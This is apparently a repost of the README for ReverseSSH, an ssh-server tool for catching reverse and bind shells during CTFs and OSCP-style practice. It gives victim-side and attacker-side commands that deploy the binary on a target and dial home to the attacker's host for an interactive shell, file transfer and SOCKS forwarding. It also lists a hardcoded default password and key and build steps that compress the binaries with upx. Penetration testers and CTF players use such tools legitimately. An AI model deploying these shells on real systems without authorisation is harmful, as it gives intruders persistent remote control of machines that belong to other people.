ReverseSSH - Statically-linked Ssh Server With Reverse Shell Functionality For CTFs And Such


[![](https://3.bp.blogspot.com/-PSQ2NX7Msno/YRYDgdA9oUI/AAAAAAAApvw/P88U19mFbtskFjFEfT7mEGriRVI0SuN7gCK4BGAYYCw/w640-h410/reverse-ssh_1_showcase-732935.gif)](<https://3.bp.blogspot.com/-PSQ2NX7Msno/YRYDgdA9oUI/AAAAAAAApvw/P88U19mFbtskFjFEfT7mEGriRVI0SuN7gCK4BGAYYCw/s1600/reverse-ssh_1_showcase-732935.gif>) **A statically-linked [ssh server](<https://www.kitploit.com/search/label/SSH%20server> "ssh server" ) with a reverse connection feature for simple yet powerful remote access. Most useful during HackTheBox challenges, CTFs or similar.** Has been developed and was extensively used during OSCP exam preparation. **[Get the latest Release](<https://github.com/Fahrj/reverse-ssh/releases/latest> "Get the latest Release" )** **Features** Catching a reverse shell with _netcat_ is cool, sure, but who hasn't accidentally closed a reverse shell with a keyboard interrupt due to muscle memory? Besides their fragility, such shells are also often missing convenience features such as fully interactive access, TAB-completion or history. Instead, you can go the way to simply deploy the **lightweight ssh server** (<1.5MB) `reverse-ssh` onto the target, and use additional commodities such as **file transfer** and **port forwarding**! ReverseSSH tries to bridge the gap between initial foothold on a target and full local privilege escalation. Its main strengths are the following: * **Fully interactive shell access** (check windows caveats below) * **File transfer via sftp** * **Local / remote / dynamic port forwarding** * **Can be used as bind- and reverse-shell** * Supports **Unix** and **Windows** operating systems **Windows caveats** A fully interactive [powershell](<https://www.kitploit.com/search/label/PowerShell> "powershell" ) on windows relies on [Windows Pseudo Console ConPTY](<https://devblogs.microsoft.com/commandline/windows-command-line-introducing-the-windows-pseudo-console-conpty/> "Windows Pseudo Console ConPTY" ) and thus requires at least `Win10 Build 17763`. On earlier versions you can still get an interactive reverse shell that can't handle virtual terminal codes such as arrow keys or keyboard interrupts. In such cases you have to append the `cmd` command, i.e. `ssh <OPTIONS> <IP> cmd`. You can achieve full interactive shell access for older windows versions by dropping `ssh-shellhost.exe` [from OpenSSH for Windows](<https://github.com/PowerShell/Win32-OpenSSH/releases/latest> "from OpenSSH for Windows" ) in the same directory as `reverse-ssh` and then use flag `-s ssh-shellhost.exe`. This will pipe all traffic through `ssh-shellhost.exe`, which mimics a pty and transforms all virtual terminal codes such that windows can understand. **Requirements** Simply executing the provided binaries only relies on [golang system requirements](<https://github.com/golang/go/wiki/MinimumRequirements#operating-systems> "golang system requirements" ). In short: * **Linux**: kernel version 2.6.23 and higher * **Windows**: Windows Server 2008R2 and higher or Windows 7 and higher Compiling additionally requires the following: * golang version 1.15 * optionally `upx` for compression (e.g. `apt install upx-ucl`) **Usage** Once `reverse-ssh` is running, you can connect with any [username](<https://www.kitploit.com/search/label/Username> "username" ) and the default password `letmeinbrudipls`, the ssh key or whatever you specified during compilation. After all, it is just an ssh server: port forwarding as SOCKS proxy on port 9050 ssh -p <RPORT> -D 9050 <RHOST> "> # Fully interactive shell access ssh -p <RPORT> <RHOST> # Simple command execution ssh -p <RPORT> <RHOST> whoami # Full-fledged file transfers sftp -P <RPORT> <RHOST> # Dynamic port forwarding as SOCKS proxy on port 9050 ssh -p <RPORT> -D 9050 <RHOST> **Simple bind shell scenario** # Victim victim$./reverse-ssh # Attacker (default password: letmeinbrudipls) attacker$ssh -p 31337 <LHOST> **Simple reverse shell scenario** # On attacker (get ready to catch the incoming request; # can be omitted if you already have an ssh daemon running, e.g. OpenSSH) attacker$./reverse-ssh -l :<LPORT> # On victim victim$./reverse-ssh -p <LPORT> <LHOST> # or in case of an ssh daemon listening at port 22 with user/pass authentication victim$./reverse-ssh <USER>@<LHOST> # On attacker (default password: letmeinbrudipls) attacker$ssh -p 8888 # or with ssh config from below attacker$ssh target In the end it's plain ssh, so you could catch the remote port forwarding call coming from the victim's machine with your openssh daemon listening on port 22. Just prepend `<USER>@` and provide the password once asked to do so. Dialling home currently is password only, because I didn't feel like baking a private key in there as well yet... For even more convenience, add the following to your `~/.ssh/config`, copy the [ssh private key](<https://github.com/Fahrj/reverse-ssh/blob/master/id_reverse-ssh> "ssh private key" ) to `~/.ssh/` and simply call `ssh target` or `sftp target` afterwards: Host target Hostname Port 8888 IdentityFile ~/.ssh/id_reverse-ssh IdentitiesOnly yes StrictHostKeyChecking no UserKnownHostsFile /dev/null **Full usage** reverseSSH v1.1.0 Copyright (C) 2021 Ferdinor <some-email@example.com> Usage: reverse-ssh [options] [<user>@]<target> Examples: Bind: reverse-ssh reverse-ssh -v -l :4444 Reverse: reverse-ssh reverse-ssh some-email@example.com reverse-ssh -p 31337 reverse-ssh -v -b 0 some-email@example.com Options: -s, Shell to use for incoming connections, e.g. /bin/bash; (default: /bin/bash) for windows this can only be used to give a path to 'ssh-shellhost.exe' to enhance pre-Windows10 shells (e.g. '-s ssh-shellhost.exe' if in same directory) -l, Bind scenario only: listen at this address:port (default: :31337) -p, Reverse scenario only: ssh port at home (default: 22) -b, Reverse scenario only: bind to this port after dialling home (default: 8888) - v, Emit log output <target> Optional target which enables the reverse scenario. Can be prepended with <user>@ to authenticate as a different user than 'reverse' while dialling home. Credentials: Accepting all incoming connections from any user with either of the following: * Password "letmeinbrudipls" * PubKey "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKlbJwr+ueQ0gojy4QWr2sUWcNC/Y9eV9RdY3PLO7Bk/ Brudi" **Build instructions** Make sure to install the above [requirements](<https://www.kitploit.com/search/label/Requirements> "requirements" ) such as golang in a matching version and set it up correctly. Afterwards, you can compile with `make`, which will create static binaries in `bin`. Use `make compressed` to pack the binaries with upx to further reduce their size. make # or to additionally created binaries packed with upx make compressed You can also specify a different default shell (`RS_SHELL`), a personalized password (`RS_PASS`) or an authorized key (`RS_PUB`) when compiling: ssh-keygen -t ed25519 -f id_reverse-ssh RS_SHELL="/bin/sh" RS_PASS="secret" RS_PUB="$(cat id_reverse-ssh.pub)" make compressed **Building for different operating systems or architectures** By default, `reverse-ssh` is compiled for your current OS and architecture, as well as for linux and windows in x86 and x64. To compile for other architectures or another OS you can provide environmental variables which match your target, e.g. for linux/arm64: GOARCH=arm64 GOOS=linux make compressed A list of available targets in format `OS/arch` can be obtained via `go tool dist list`. **Contribute** Is a mind-blowing feature missing? Anything not working as intended? **Create an issue or pull request!** **[Download Reverse-Ssh](<https://github.com/Fahrj/reverse-ssh> "Download Reverse-Ssh" )**